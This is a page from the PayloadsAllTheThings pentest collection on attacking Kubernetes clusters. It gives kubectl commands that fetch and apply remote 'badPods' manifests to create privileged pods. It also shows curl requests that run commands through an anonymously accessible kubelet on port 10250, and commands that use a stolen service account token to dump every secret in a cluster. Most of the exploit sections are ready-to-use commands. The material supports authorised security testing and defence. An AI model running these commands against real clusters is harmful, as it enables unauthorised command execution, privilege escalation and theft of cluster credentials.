PayloadsAllTheThings/Methodology and Resources/Container - Kubernetes Pentest.md
2023-10-28 17:31:59 +02:00

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# Container - Kubernetes
> Kubernetes, often abbreviated as K8s, is an open-source container orchestration platform designed to automate the deployment, scaling, and management of containerized applications
## Summary
- [Tools](#tools)
- [Exploits](#exploits)
- [Accessible kubelet on 10250/TCP](#accessible-kubelet-on-10250tcp)
- [Obtaining Service Account Token](#obtaining-service-account-token)
- [References](#references)
## Tools
* [BishopFox/badpods](https://github.com/BishopFox/badpods) - A collection of manifests that will create pods with elevated privileges.
```ps1
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/priv-and-hostpid/pod/priv-and-hostpid-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/priv/pod/priv-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostpath/pod/hostpath-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostpid/pod/hostpid-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostnetwork/pod/hostnetwork-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostipc/pod/hostipc-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/nothing-allowed/pod/nothing-allowed-exec-pod.yaml
```
* [serain/kubelet-anon-rce](https://github.com/serain/kubelet-anon-rce) - Executes commands in a container on a kubelet endpoint that allows anonymous authentication
* [DataDog/KubeHound](https://github.com/DataDog/KubeHound) - Kubernetes Attack Graph
```ps1
# Critical paths enumeration
kh.containers().criticalPaths().count()
kh.containers().dedup().by("name").criticalPaths().count()
kh.endpoints(EndpointExposure.ClusterIP).criticalPaths().count()
kh.endpoints(EndpointExposure.NodeIP).criticalPaths().count()
kh.endpoints(EndpointExposure.External).criticalPaths().count()
kh.services().criticalPaths().count()
# DNS services and port
kh.endpoints(EndpointExposure.External).criticalPaths().limit(local,1)
.dedup().valueMap("serviceDns","port")
.group().by("serviceDns").by("port")
```
## Exploits
### Accessible kubelet on 10250/TCP
Requirements:
* `--anonymous-auth`: Enables anonymous requests to the Kubelet server
* Getting pods: `curl -ks https://worker:10250/pods`
* Run commands: `curl -Gks https://worker:10250/exec/{namespace}/{pod}/{container} -d 'input=1' -d 'output=1' -d'tty=1' -d 'command=ls' -d 'command=/'`
### Obtaining Service Account Token
Token is stored at `/var/run/secrets/kubernetes.io/serviceaccount/token`
Use the service account token:
* on `kube-apiserver` API: `curl -ks -H "Authorization: Bearer <TOKEN>" https://master:6443/api/v1/namespaces/{namespace}/secrets`
* with kubectl: ` kubectl --insecure-skip-tls-verify=true --server="https://master:6443" --token="<TOKEN>" get secrets --all-namespaces -o json`
## References
* [Attacking Kubernetes through Kubelet - Withsecure Labs- 11 January, 2019](https://labs.withsecure.com/publications/attacking-kubernetes-through-kubelet)
* [kubehound - Attack Reference](https://kubehound.io/reference/attacks/)
* [KubeHound: Identifying attack paths in Kubernetes clusters - Datadog - October 2, 2023](https://securitylabs.datadoghq.com/articles/kubehound-identify-kubernetes-attack-paths/)